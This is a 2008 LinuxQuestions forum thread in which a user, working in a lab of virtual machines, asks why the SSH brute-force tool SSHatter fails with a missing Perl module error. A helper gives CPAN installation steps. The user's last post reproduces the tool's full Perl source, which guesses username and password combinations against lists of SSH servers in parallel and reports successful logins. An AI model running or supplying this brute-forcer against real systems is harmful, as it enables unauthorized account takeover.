Linux - Software This forum is for Software issues.
Having a problem installing a new program? Want to know which application is best for the job? Post your question in this forum. |
Notices |
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
Are you new to LinuxQuestions.org? Visit the following links:
Site Howto |
Site FAQ |
Sitemap |
Register Now
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
|
 |
11-20-2008, 12:04 PM
|
#1
|
Member
Registered: Jan 2007
Location: Pennsylvania
Distribution: Ubuntu 8.10 Server/9.04 Desktop, openSUSE 11.1
Posts: 154
Rep:
|
Perl Error while installing SSHatter
Hello,
I am trying to install SSHatter in my Ubuntu Intrepid VM to test an attack on another VM, but I am unable to run the perl script that is the basis of the SSHatter program.
Code:
bryanjp@bryanjp-vm-intrepid:~/Desktop/SSHatter-0.6/src$ ./SSHatter.pl
Can't locate Net/SSH/Perl.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at ./SSHatter.pl line 34.
BEGIN failed--compilation aborted at ./SSHatter.pl line 34.
I believe I have all the packages installed, but are the modules that need to be activated, similiar to apache? I have never used perl before.
Code:
bryanjp@bryanjp-vm-intrepid:~/Desktop/SSHatter-0.6/src$ dpkg -l | grep perl
ii libapparmor-perl 2.3+1289-0ubuntu4.1 AppArmor library Perl bindings
ii libcairo-perl 1.060-1 Perl interface to the Cairo graphics library
ii libclass-accessor-perl 0.31-2 Automated accessor generator
ii libcompress-raw-zlib-perl 2.011-2build1 low-level interface to zlib compression libr
ii libcompress-zlib-perl 2.011-1 Perl module for creation and manipulation of
ii libfont-afm-perl 1.20-1 Font::AFM - Interface to Adobe Font Metrics
ii libfreezethaw-perl 0.43-4 converting Perl structures to strings and ba
ii libglib-perl 1:1.183-1 Perl interface to the GLib and GObject libra
ii libgnome2-canvas-perl 1.002-1+b1ubuntu3 Perl interface to the GNOME canvas library
ii libgnome2-perl 1.042-1build2 Perl interface to the GNOME libraries
ii libgnome2-vfs-perl 1.080-1build2 Perl interface to the 2.x series of the GNOM
ii libgtk2-perl 1:1.183-1 Perl interface to the 2.x series of the Gimp
ii libhtml-format-perl 2.04-2 format HTML syntax trees into text, PostScri
ii libhtml-parser-perl 3.56-1ubuntu2 A collection of modules that parse HTML text
ii libhtml-tagset-perl 3.20-2 Data tables pertaining to HTML
ii libhtml-template-perl 2.9-1 HTML::Template : A module for using HTML Tem
ii libhtml-tree-perl 3.23-1 represent and create HTML syntax trees
ii libio-compress-base-perl 2.011-1 Base Class for IO::Compress modules
ii libio-compress-zlib-perl 2.011-1 Perl interface to zlib
ii libio-string-perl 1.08-2 Emulate IO::File interface for in-core strin
ii liblocale-gettext-perl 1.05-4build1 Using libc functions for internationalizatio
ii libmailtools-perl 2.03-1 Manipulate email in perl programs
ii libmldbm-perl 2.01-2 Store multidimensional hash structures in pe
ii libnet-dbus-perl 0.33.6-1build2 Extension for the DBus bindings
ii libnet-ssh-perl 0.09-1 Perl extension for secure shell
ii libparallel-forkmanager-perl 0.7.5-2 A simple parallel processing fork manager fo
ii libparse-debianchangelog-perl 1.1.1-2 parse Debian changelogs and output them in o
ii libperl5.10 5.10.0-11.1ubuntu2 Shared Perl library
ii librpc-xml-perl 0.60-3 Perl module implementation of XML-RPC
ii libterm-readkey-perl 2.30-3ubuntu2 A perl module for simple terminal control
ii libtext-charwidth-perl 0.04-5build1 get display widths of characters on the term
ii libtext-iconv-perl 1.7-1build1 converts between character sets in Perl
ii libtext-wrapi18n-perl 0.06-6 internationalized substitute of Text::Wrap
ii libtie-ixhash-perl 1.21-2 ordered associative arrays for Perl
ii libtimedate-perl 1.1600-9 Time and date functions for Perl
ii liburi-perl 1.35.dfsg.1-1 Manipulates and accesses URI strings
ii libuuid-perl 0.02-3 Perl extension for using UUID interfaces as
ii libwww-perl 5.812-1 WWW client/server library for Perl (aka LWP)
ii libxml-namespacesupport-perl 1.09-3 Perl module for supporting simple generic na
ii libxml-parser-perl 2.36-1.1build2 Perl module for parsing XML files
ii libxml-sax-expat-perl 0.39-1 Perl module for a SAX2 driver for Expat (XML
ii libxml-sax-perl 0.16+dfsg-3 Perl module for using and building Perl SAX2
ii libxml-simple-perl 2.18-1 Perl module for reading and writing XML
ii libxml-twig-perl 1:3.32-1 Perl module for processing huge XML document
ii libxml-xpath-perl 1.13-6 Perl module for processing XPath
ii perl 5.10.0-11.1ubuntu2 Larry Wall's Practical Extraction and Report
ii perl-base 5.10.0-11.1ubuntu2 The Pathologically Eclectic Rubbish Lister
ii perl-modules 5.10.0-11.1ubuntu2 Core Perl modules
Any suggestions?
- Jim
|
|
|
11-20-2008, 12:28 PM
|
#2
|
LQ Guru
Registered: Jul 2003
Location: Birmingham, Alabama
Distribution: SuSE, RedHat, Slack,CentOS
Posts: 27,467
|
Quote:
Originally Posted by jimbo1708
Hello,
I am trying to install SSHatter in my Ubuntu Intrepid VM to test an attack on another VM, but I am unable to run the perl script that is the basis of the SSHatter program.
Code:
bryanjp@bryanjp-vm-intrepid:~/Desktop/SSHatter-0.6/src$ ./SSHatter.pl
Can't locate Net/SSH/Perl.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at ./SSHatter.pl line 34.
BEGIN failed--compilation aborted at ./SSHatter.pl line 34.
|
Nope, you're missing the Net:SSH module, as the error says above. Get it from CPAN ( http://search.cpan.org/~ivan/Net-SSH-0.09/), click the download link.
Uncompress it, and go into that directory. Once there, type in "perl Makefile.PL". Make sure it goes good, then type in "make", then "make test", then "make install".
You're done. If you're missing any dependencies, grab them from CPAN, and follow the same installation instructions. All of these files also have install instructions with them, so look at the readmes.
|
|
|
11-20-2008, 01:24 PM
|
#3
|
Member
Registered: Jan 2007
Location: Pennsylvania
Distribution: Ubuntu 8.10 Server/9.04 Desktop, openSUSE 11.1
Posts: 154
Original Poster
Rep:
|
Quote:
Originally Posted by TB0ne
Nope, you're missing the Net:SSH module, as the error says above. Get it from CPAN ( http://search.cpan.org/~ivan/Net-SSH-0.09/), click the download link.
Uncompress it, and go into that directory. Once there, type in "perl Makefile.PL". Make sure it goes good, then type in "make", then "make test", then "make install".
You're done. If you're missing any dependencies, grab them from CPAN, and follow the same installation instructions. All of these files also have install instructions with them, so look at the readmes.
|
TBone,
Thank you. I installed the module as you said with the make, make test, make install, except that the last command I needed to run as sudo. I am still getting the same error message. Do I need to copy anything to the directory or did the make install do it for me, because I am still getting the same error.
- Jim
|
|
|
11-20-2008, 02:27 PM
|
#4
|
LQ Guru
Registered: Jul 2003
Location: Birmingham, Alabama
Distribution: SuSE, RedHat, Slack,CentOS
Posts: 27,467
|
Quote:
Originally Posted by jimbo1708
TBone,
Thank you. I installed the module as you said with the make, make test, make install, except that the last command I needed to run as sudo. I am still getting the same error message. Do I need to copy anything to the directory or did the make install do it for me, because I am still getting the same error.
- Jim
|
Hm...did you get any errors during the "perl Makefile.PL", or any other steps?
And I'd suggest running the commands as root, rather than through SUDO, and see if that matters.
|
|
|
11-22-2008, 12:42 PM
|
#5
|
Member
Registered: Jan 2007
Location: Pennsylvania
Distribution: Ubuntu 8.10 Server/9.04 Desktop, openSUSE 11.1
Posts: 154
Original Poster
Rep:
|
Quote:
Originally Posted by TB0ne
Hm...did you get any errors during the "perl Makefile.PL", or any other steps?
And I'd suggest running the commands as root, rather than through SUDO, and see if that matters.
|
I ran the commands as root
Code:
root@bryanjp-vm-intrepid:/home/bryanjp/Desktop/Net-SSH-0.09# perl Makefile.PL
Writing Makefile for Net::SSH
root@bryanjp-vm-intrepid:/home/bryanjp/Desktop/Net-SSH-0.09# make
Manifying blib/man3/Net::SSH.3pm
root@bryanjp-vm-intrepid:/home/bryanjp/Desktop/Net-SSH-0.09# make install
Writing /usr/local/lib/perl/5.10.0/auto/Net/SSH/.packlist
Appending installation info to /usr/local/lib/perl/5.10.0/perllocal.pod
But the same error continues
Code:
root@bryanjp-vm-intrepid:/home/bryanjp/Desktop/SSHatter-0.6/src# ./SSHatter.pl
Can't locate Net/SSH/Perl.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at ./SSHatter.pl line 34.
BEGIN failed--compilation aborted at ./SSHatter.pl line 34.
This is the script I am trying to run
Code:
root@bryanjp-vm-intrepid:/home/bryanjp/Desktop/SSHatter-0.6/src# cat -n SSHatter.pl
1 #!/usr/bin/perl -w
2 # $Header: /var/lib/cvsd/var/lib/cvsd/SSHatter/src/SSHatter.pl,v 1.9 2007-10-06 15:01:57 timb Exp $
3 #
4 # Redistribution and use in source and binary forms, with or without
5 # modification, are permitted provided that the following conditions are met:
6 #
7 # * Redistributions of source code must retain the above copyright notice, this
8 # list of conditions and the following disclaimer.
9 # * Redistributions in binary form must reproduce the above copyright notice,
10 # this list of conditions and the following disclaimer in the documentation
11 # and/or other materials provided with the distribution.
12 # * Neither the name of the Nth Dimension nor the names of its contributors may
13 # be used to endorse or promote products derived from this software without
14 # specific prior written permission.
15 #
16 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
17 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
18 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
19 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
20 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
21 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
22 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
23 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
24 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
25 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 # POSSIBILITY OF SUCH DAMAGE.
27 #
28 # (c) Tim Brown, 2007
29 # <mailto:timb@nth-dimension.org.uk>
30 # <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>
31
32 use strict;
33 use Parallel::ForkManager;
34 use Net::SSH::Perl;
35 use Time::HiRes qw(gettimeofday);
36
37 my $maximumprocess;
38 my $targetserverfilename;
39 my $usernamefilename;
40 my $passwordfilename;
41 my $sleeptime;
42 my $timingflag;
43 my $forkmanager;
44 my $usernamefilehandle;
45 my $username;
46 my $passwordfilehandle;
47 my $password;
48 my $targetserverfilehandle;
49 my $targetserver;
50 my $processid;
51 my $hostname;
52 my $portnumber;
53 my $sshhandle;
54 my $testedflag;
55 my $starttime;
56
57 sub usage {
58 die "usage: " . $0 . " <maximumprocess> <targetserverfilename> <usernamefilename> <passwordfilename> <sleeptime> <timingflag>\n\tsleeptime: 0 - disable retries";
59 }
60
61 if (@ARGV != 6) {
62 die "usage: " . $0 . " <maximumprocess> <targetserverfilename> <usernamefilename> <passwordfilename> <sleeptime> <timingflag>\n\tsleeptime: 0 - disable retries";
63 }
64 $maximumprocess = shift;
65 $targetserverfilename = shift;
66 $usernamefilename = shift;
67 $passwordfilename = shift;
68 $sleeptime = shift;
69 $timingflag = shift;
70 if ($maximumprocess =~ /([0-9]+)/) {
71 $maximumprocess = $1;
72 } else {
73 usage();
74 }
75 if (! -e $targetserverfilename) {
76 usage();
77 }
78 if (! -e $usernamefilename) {
79 usage();
80 }
81 if (! -e $passwordfilename) {
82 usage();
83 }
84 if ($sleeptime =~ /([0-9]+)/) {
85 $sleeptime = $1;
86 } else {
87 usage();
88 }
89 if ($timingflag =~ /([01])/) {
90 $sleeptime = $1;
91 } else {
92 usage();
93 }
94
95 $forkmanager = new Parallel::ForkManager($maximumprocess);
96 open($usernamefilehandle, "<" . $usernamefilename);
97 while (<$usernamefilehandle>) {
98 $username = $_;
99 $username =~ s/\x0a//g;
100 open($passwordfilehandle, "<" . $passwordfilename);
101 while (<$passwordfilehandle>) {
102 $password = $_;
103 $password =~ s/\x0a//g;
104 open($targetserverfilehandle, "<" . $targetserverfilename);
105 while (<$targetserverfilehandle>) {
106 $targetserver = $_;
107 $targetserver =~ s/\x0a//g;
108 $processid = $forkmanager->start() and next;
109 $testedflag = 0;
110 ($hostname, $portnumber) = split(/:/, $targetserver);
111 if ($portnumber && ($portnumber =~ /([0-9]+)/)) {
112 $portnumber = $1;
113 if (($portnumber <= 0) || ($portnumber > 65535)) {
114 $portnumber = 22;
115 }
116 } else {
117 $portnumber = 22;
118 }
119 print "[sshatter] trying " . $username . "@" . $hostname . ":" . $portnumber . "/" . $password . "\n";
120 while ($testedflag != 1) {
121 eval {
122 $sshhandle = Net::SSH::Perl->new($hostname, port => $portnumber);
123 };
124 if ($@ ne "") {
125 print STDERR "Net::SSH::Perl->new() failed: " . $@;
126 if ($sleeptime > 0) {
127 sleep($sleeptime);
128 } else {
129 $testedflag = 1;
130 }
131 } else {
132 eval {
133 if ($timingflag == 1) {
134 $starttime = gettimeofday();
135 }
136 $sshhandle->login($username, $password);
137 $sshhandle->cmd("echo SSHatter");
138 };
139 if ($@ ne "") {
140 if ($timingflag == 1) {
141 print "[sshatter] " . $username . "@" . $hostname . ":" . $portnumber . ":" . sprintf("%.4f", gettimeofday() - $starttime) . " seconds elapsed\n";
142 }
143 if ($@ !~ /Permission denied/) {
144 print STDERR "Net::SSH::Perl->cmd() failed: " . $@;
145 if ($sleeptime > 0) {
146 sleep($sleeptime);
147 } else {
148 $testedflag = 1;
149 }
150 } else {
151 $testedflag = 1;
152 }
153 } else {
154 print "[sshatter] " . $username . "@" . $hostname . ":" . $portnumber . ":" . sprintf("%.4f", gettimeofday() - $starttime) . " seconds elapsed\n";
155 print "[sshatter] " . $username . "@" . $hostname . ":" . $portnumber . "/" . $password . ":success\n";
156 $testedflag = 1;
157 }
158 }
159 }
160 $forkmanager->finish();
161 }
162 close($targetserverfilehandle);
163 }
164 close($passwordfilehandle);
165 }
166 close($usernamefilehandle);
167 $forkmanager->wait_all_children();
168 exit(1);
Do you need any other logs? What should I do to get this working?
- Jim
Last edited by jimbo1708; 11-22-2008 at 12:44 PM.
|
|
|
All times are GMT -5. The time now is 09:43 PM.
|
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.
|
Latest Threads
LQ News
|
|